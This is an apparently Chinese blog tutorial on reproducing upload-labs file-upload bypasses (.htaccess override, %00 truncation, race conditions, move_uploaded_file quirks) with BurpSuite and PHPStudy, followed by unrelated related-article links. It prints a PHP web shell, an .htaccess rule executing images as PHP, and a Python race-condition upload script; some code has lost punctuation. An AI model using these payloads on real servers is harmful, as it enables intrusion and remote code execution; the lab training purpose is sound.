当前位置: 首页 > article >正文

从实战出发:用BurpSuite和PHPStudy复现upload-labs靶场19关的5种典型绕过姿势

从实战出发用BurpSuite和PHPStudy复现upload-labs靶场19关的5种典型绕过姿势在渗透测试的学习过程中文件上传漏洞一直是Web安全领域的重要课题。upload-labs靶场作为专门针对上传漏洞设计的实战环境包含了19种不同类型的上传绕过场景。本文将聚焦五种最具代表性的绕过技术结合BurpSuite和PHPStudy工具链从环境配置到实战操作手把手带你攻克这些经典关卡。1. 环境准备与基础配置1.1 PHPStudy环境搭建与调优首先需要确保PHPStudy环境正确配置。许多初学者在复现upload-labs时会遇到PHP版本不兼容的问题特别是涉及特殊后缀解析如.php5、.phtml的关卡。以下是关键配置步骤下载并安装最新版PHPStudy推荐V8.1版本修改httpd-conf文件中的PHP解析规则# 原始配置注释状态 #AddType application/x-httpd-php .php .phtml # 修改为移除注释并扩展后缀 AddType application/x-httpd-php .php .phtml .php5 .php3调整php.ini中的关键参数magic_quotes_gpc Off ; 影响%00截断的关键设置 short_open_tag On ; 允许?短标签注意修改配置后必须重启Apache服务才能生效。若遇到端口冲突可在PHPStudy面板中修改默认80端口。1.2 BurpSuite抓包环境配置BurpSuite是分析上传漏洞的利器正确配置代理至关重要浏览器设置代理为127.0.0.1:8080在BurpSuite的Proxy - Options中确认监听端口安装CA证书以避免HTTPS流量拦截问题# 证书安装命令Windows certmgr.msc常见问题排查表问题现象可能原因解决方案无法拦截HTTP请求代理未生效检查浏览器代理设置HTTPS网站显示异常证书未信任重新安装CA证书拦截后页面加载失败拦截模式错误关闭Intercept或调整Scope2. 黑名单绕过.htaccess攻击实战2.1 原理剖析当服务器采用黑名单机制时攻击者可通过上传.htaccess文件覆盖Apache解析规则。这种攻击在upload-labs第4关尤为典型服务器仅禁止.php、.php5等后缀未限制.htaccess文件上传通过该文件将任意后缀如.png解析为PHP2.2 分步操作指南创建恶意.htaccess文件AddType application/x-httpd-php .png使用BurpSuite拦截上传请求修改Content-Type: text/plain确保文件名保持.htaccess不变上传PHP代码文件后缀改为.png?php system($_GET[cmd]);?访问上传的.png文件附加命令参数http://target/upload/shell.png?cmdwhoami关键点部分Windows系统无法直接创建.htaccess文件可通过以下命令生成echo AddType application/x-httpd-php .png .htaccess3. %00截断白名单绕过的经典手法3.1 技术背景%00截断是PHP历史版本5.3.4的特性漏洞在upload-labs第11、12关中需要此技术。其核心原理是NULL字符%00会终止字符串处理可截断白名单校验后的路径拼接需要magic_quotes_gpcOff环境3.2 实战演示以第11关为例的操作流程上传合法后缀文件如test.pngBurpSuite拦截POST请求修改路径参数save_path../upload/shell.php%00观察响应中的文件存储位置预期结果文件应保存为shell.php错误情况若仍为.png后缀检查PHP版本对于第12关POST型截断需要额外进行URL解码原始修改save_path../upload/shell.php%00选中%00右键选择Convert selection - URL - URL-decode发送请求后验证文件解析版本兼容性对照表PHP版本magic_quotes_gpc截断效果5.2.17Off有效5.4.45Off无效7.0.0任何设置无效4. 条件竞争时间差攻击的艺术4.1 漏洞机理当服务器采用上传-校验-删除流程时如第17关可能通过条件竞争在删除前访问文件。这种攻击依赖文件上传后短暂存在于服务器校验删除操作存在时间窗口高速并发访问可能命中该窗口4.2 BurpSuite自动化攻击正常上传PHP文件并拦截请求发送到Intruder模块设置空载荷配置线程数为50持续发送请求同时浏览器不断刷新访问该PHP文件优化攻击的Python脚本示例import requests import threading target_url http://target/upload/shell.php upload_url http://target/upload.php def upload(): while True: requests.post(upload_url, files{file: open(shell.php,rb)}) def access(): while True: r requests.get(target_url) if r.status_code 200: print(Success!) break threads [] for _ in range(10): t threading.Thread(targetupload) t.start() threads.append(t) for _ in range(30): t threading.Thread(targetaccess) t.start() threads.append(t)5. move_uploaded_file特性利用5.1 函数特性分析第19关展示了move_uploaded_file()的特殊行为自动忽略文件末尾的/.不受路径规范化影响可绕过部分后缀检查5.2 完整攻击链准备正常图片文件如1.pngBurpSuite拦截上传请求修改文件名filename1.png/.服务器端实际保存为1.png配合文件包含漏洞执行代码对比其他关卡该技术的独特优势技术类型依赖条件适用版本.htaccessAllowOverride All所有Apache%00截断PHP5.3.4旧版环境条件竞争存在时间窗口所有环境move特性函数实现特性所有PHP版本6. 防御方案与实战建议6.1 安全开发规范采用白名单验证文件后缀文件重命名存储如MD5值禁用危险函数如putenv设置open_basedir限制访问范围6.3 渗透测试技巧多维度测试组合graph LR A[前端绕过] -- B[Content-Type修改] B -- C[后缀大小写] C -- D[特殊字符截断] D -- E[二次渲染绕过]真实环境与靶场差异CDN可能拦截恶意上传WAF规则需要针对性绕过容器特性影响解析行为在本地复现时遇到最多的问题是PHPStudy环境配置不当导致解析异常。建议每次修改配置后重启所有相关服务清除浏览器缓存使用全新测试文件验证

相关文章:

从实战出发:用BurpSuite和PHPStudy复现upload-labs靶场19关的5种典型绕过姿势

从实战出发:用BurpSuite和PHPStudy复现upload-labs靶场19关的5种典型绕过姿势 在渗透测试的学习过程中,文件上传漏洞一直是Web安全领域的重要课题。upload-labs靶场作为专门针对上传漏洞设计的实战环境,包含了19种不同类型的上传绕过场景。本…...

GPT-SoVITS:1分钟语音克隆技术实现300%推理加速的AI语音合成方案

GPT-SoVITS:1分钟语音克隆技术实现300%推理加速的AI语音合成方案 【免费下载链接】GPT-SoVITS 1 min voice data can also be used to train a good TTS model! (few shot voice cloning) 项目地址: https://gitcode.com/GitHub_Trending/gp/GPT-SoVITS GPT-…...

D2DX:让经典《暗黑破坏神2》在现代PC上焕发新生的终极解决方案

D2DX:让经典《暗黑破坏神2》在现代PC上焕发新生的终极解决方案 【免费下载链接】d2dx D2DX is a complete solution to make Diablo II run well on modern PCs, with high fps and better resolutions. 项目地址: https://gitcode.com/gh_mirrors/d2/d2dx 你…...

告别卡顿!深入浅出UE网络同步:角色移动、状态插值与延迟补偿实战解析

告别卡顿!深入浅出UE网络同步:角色移动、状态插值与延迟补偿实战解析 当你在射击游戏中瞄准敌人头部扣动扳机,却发现子弹"穿模"而过;当你的角色在跑动时突然瞬移回两秒前的位置;当多人混战中总有人抱怨"…...

使用 curl 命令直接测试 Taotoken 提供的各种大模型效果

使用 curl 命令直接测试 Taotoken 提供的各种大模型效果 1. 准备工作 在开始使用 curl 测试 Taotoken 提供的大模型之前,需要确保已经完成以下准备工作。首先登录 Taotoken 控制台,在「API 密钥」页面创建一个新的 API Key。建议为测试用途单独创建一个…...

通达信缠论可视化分析插件:5分钟掌握专业交易信号

通达信缠论可视化分析插件:5分钟掌握专业交易信号 【免费下载链接】Indicator 通达信缠论可视化分析插件 项目地址: https://gitcode.com/gh_mirrors/ind/Indicator 还在为复杂的缠论分析而苦恼吗?想要快速识别市场中枢和买卖信号却无从下手&…...

通过Nodejs后端服务集成Taotoken实现多轮对话应用

通过Nodejs后端服务集成Taotoken实现多轮对话应用 1. 环境准备与基础配置 在开始集成Taotoken之前,确保你的开发环境已安装Node.js 18或更高版本。创建一个新的项目目录并初始化npm包管理: mkdir taotoken-chatbot && cd taotoken-chatbot np…...

从哨兵2号到国产高分六号,Python遥感解译全栈工作流:环境配置→辐射定标→大气校正→NDVI/NDWI提取→随机森林分类→精度验证,一步不漏

更多请点击: https://intelliparadigm.com 第一章:Python遥感解译全栈工作流概述 Python 已成为遥感影像解译领域事实上的核心编程语言,其丰富的生态(如 rasterio、GDAL、scikit-learn、torchgeo 和 earthengine-api&#xff09…...

3分钟快速上手:Blender 3MF插件完整使用指南

3分钟快速上手:Blender 3MF插件完整使用指南 【免费下载链接】Blender3mfFormat Blender add-on to import/export 3MF files 项目地址: https://gitcode.com/gh_mirrors/bl/Blender3mfFormat Blender 3MF插件是连接3D设计与3D打印的桥梁,让Blend…...

终极显卡优化指南:3步掌握NVIDIA Profile Inspector免费调校神器

终极显卡优化指南:3步掌握NVIDIA Profile Inspector免费调校神器 【免费下载链接】nvidiaProfileInspector 项目地址: https://gitcode.com/gh_mirrors/nv/nvidiaProfileInspector 还在为游戏卡顿、画面撕裂而烦恼吗?NVIDIA Profile Inspector这…...

对比直接使用厂商API在Taotoken上管理多个密钥的便利性

在 Taotoken 上管理多个模型密钥的实践体验 1. 传统多厂商密钥管理的痛点 在接入多个大模型服务时,开发者通常需要为每个厂商单独申请和管理 API 密钥。这意味着需要维护多个平台的账户,记录不同格式的密钥字符串,并在代码或配置文件中分别…...

Windows系统优化终极指南:用Win11Debloat轻松提升电脑性能

Windows系统优化终极指南:用Win11Debloat轻松提升电脑性能 【免费下载链接】Win11Debloat A simple, lightweight PowerShell script that allows you to remove pre-installed apps, disable telemetry, as well as perform various other changes to declutter an…...

MCP协议开源工具库:构建安全可控的AI智能体工作环境

1. 项目概述:MCP协议下的开源工具库最近在折腾AI应用开发,特别是想让大语言模型(LLM)能更“接地气”地操作我本地的工具和数据时,绕不开一个概念——模型上下文协议(Model Context Protocol, MC…...

别再暴力枚举了!用Python+树状数组5分钟搞定逆序对问题(附离散化避坑指南)

用Python树状数组高效求解逆序对问题:从离散化到实战优化 逆序对问题在算法面试和竞赛中频繁出现,但很多初学者在面对这个问题时,往往陷入暴力枚举的思维定式。本文将带你突破常规思路,掌握一种基于树状数组的高效解法&#xff0c…...

Magpie窗口放大性能优化终极指南:让低配电脑流畅运行

Magpie窗口放大性能优化终极指南:让低配电脑流畅运行 【免费下载链接】Magpie A general-purpose window upscaler for Windows 10/11. 项目地址: https://gitcode.com/gh_mirrors/mag/Magpie Magpie是一款专为Windows 10/11设计的通用窗口放大工具&#xff…...

PKHeX自动化插件终极指南:5步打造完美合法宝可梦

PKHeX自动化插件终极指南:5步打造完美合法宝可梦 【免费下载链接】PKHeX-Plugins Plugins for PKHeX 项目地址: https://gitcode.com/gh_mirrors/pk/PKHeX-Plugins 还在为宝可梦数据合法性而烦恼吗?手动调整个体值、技能组合和特性配置不仅耗时耗…...

汉语言文学论文降AI工具免费推荐:2026年中文系毕业论文4.8元99.26%亲测达标指南

汉语言文学论文降AI工具免费推荐:2026年中文系毕业论文4.8元99.26%亲测达标指南 整理了一份汉语言文学论文降AI的工具选择指南,综合实测数据和价格因素。 首推嘎嘎降AI(www.aigcleaner.com),4.8元,99.26%…...

B站视频缓存转换完整教程:一键解决m4s文件播放难题

B站视频缓存转换完整教程:一键解决m4s文件播放难题 【免费下载链接】m4s-converter 一个跨平台小工具,将bilibili缓存的m4s格式音视频文件合并成mp4 项目地址: https://gitcode.com/gh_mirrors/m4/m4s-converter 你是否曾为B站缓存视频无法在其他…...

终极指南:如何使用League Akari英雄联盟客户端工具包提升游戏效率

终极指南:如何使用League Akari英雄联盟客户端工具包提升游戏效率 【免费下载链接】League-Toolkit An all-in-one toolkit for LeagueClient. Gathering power 🚀. 项目地址: https://gitcode.com/gh_mirrors/le/League-Toolkit League Akari是一…...

解决Windows上Mesa3D图形驱动90%常见问题的终极指南

解决Windows上Mesa3D图形驱动90%常见问题的终极指南 【免费下载链接】mesa-dist-win Pre-built Mesa3D drivers for Windows 项目地址: https://gitcode.com/gh_mirrors/me/mesa-dist-win Mesa3D是一款开源的图形驱动程序,为Windows系统提供强大的OpenGL、Vu…...

终极Photoshop AI插件SD-PPP:如何让AI绘图与Photoshop无缝协作?

终极Photoshop AI插件SD-PPP:如何让AI绘图与Photoshop无缝协作? 【免费下载链接】sd-ppp A Photoshop AI plugin 项目地址: https://gitcode.com/gh_mirrors/sd/sd-ppp 还在为AI绘图和Photoshop之间的繁琐切换而烦恼吗?SD-PPP这款革命…...

通过环境变量统一管理多个 AI 工具对 Taotoken API 的访问配置

通过环境变量统一管理多个 AI 工具对 Taotoken API 的访问配置 1. 多工具配置管理的痛点 开发者在日常工作中常同时使用多种 AI 辅助工具,例如 IDE 插件、命令行工具和自动化脚本。这些工具通常需要单独配置 API 密钥和访问端点,导致以下问题&#xff…...

低代码不是银弹,但内核决定生死:基于JDK17+GraalVM构建轻量级内核的6大硬性约束与3种裁剪方案(实测内存<48MB)

更多请点击: https://intelliparadigm.com 第一章:低代码平台内核的本质认知与边界界定 低代码平台的内核并非简单的可视化拖拽引擎,而是一套运行时抽象层与元数据驱动的执行框架。其本质是将业务逻辑、UI 布局、数据连接、权限策略等维度统…...

Windows平台APK安装技术深度解析:从二进制解析到系统集成的完整实现

Windows平台APK安装技术深度解析:从二进制解析到系统集成的完整实现 【免费下载链接】APK-Installer An Android Application Installer for Windows 项目地址: https://gitcode.com/GitHub_Trending/ap/APK-Installer 在移动应用生态蓬勃发展的今天&#xf…...

创业团队如何利用 Taotoken 的按需计费控制早期 AI 实验成本

创业团队如何利用 Taotoken 的按需计费控制早期 AI 实验成本 1. 早期 AI 实验的成本挑战 创业团队在产品探索阶段往往需要频繁尝试不同 AI 模型的能力边界。传统模式下,直接对接各大模型厂商通常意味着需要预先购买固定额度的套餐包,这在需求不确定时容…...

高效突破百度网盘限速:macOS用户的专业解决方案

高效突破百度网盘限速:macOS用户的专业解决方案 【免费下载链接】BaiduNetdiskPlugin-macOS For macOS.百度网盘 破解SVIP、下载速度限制~ 项目地址: https://gitcode.com/gh_mirrors/ba/BaiduNetdiskPlugin-macOS 作为一名macOS用户,你是否曾为百…...

OmniTransfer框架:视频风格迁移的时空统一解决方案

1. 项目概述:当视频处理遇上时空统一在多媒体处理领域,视频迁移技术一直面临着时空维度割裂的痛点。传统方法往往将时间序列分析和空间特征提取作为两个独立模块处理,导致视频风格迁移、内容转换等任务出现帧间闪烁、运动失真等问题。OmniTra…...

5大核心功能解锁英雄联盟Akari助手:你的专属游戏智能管家

5大核心功能解锁英雄联盟Akari助手:你的专属游戏智能管家 【免费下载链接】League-Toolkit An all-in-one toolkit for LeagueClient. Gathering power 🚀. 项目地址: https://gitcode.com/gh_mirrors/le/League-Toolkit 还在为英雄联盟游戏中的繁…...

三步掌握AI象棋:Vin象棋智能连线工具的终极实战指南

三步掌握AI象棋:Vin象棋智能连线工具的终极实战指南 【免费下载链接】VinXiangQi Xiangqi syncing tool based on Yolov5 / 基于Yolov5的中国象棋连线工具 项目地址: https://gitcode.com/gh_mirrors/vi/VinXiangQi 你是否曾在下棋时陷入困境?面对…...

使用 Python 快速上手 Taotoken 调用多模型完成文本摘要任务

使用 Python 快速上手 Taotoken 调用多模型完成文本摘要任务 1. 准备工作 在开始使用 Taotoken 调用多模型进行文本摘要之前,需要确保 Python 环境已安装 openai 库。可以通过以下命令安装最新版本: pip install openai安装完成后,您需要获…...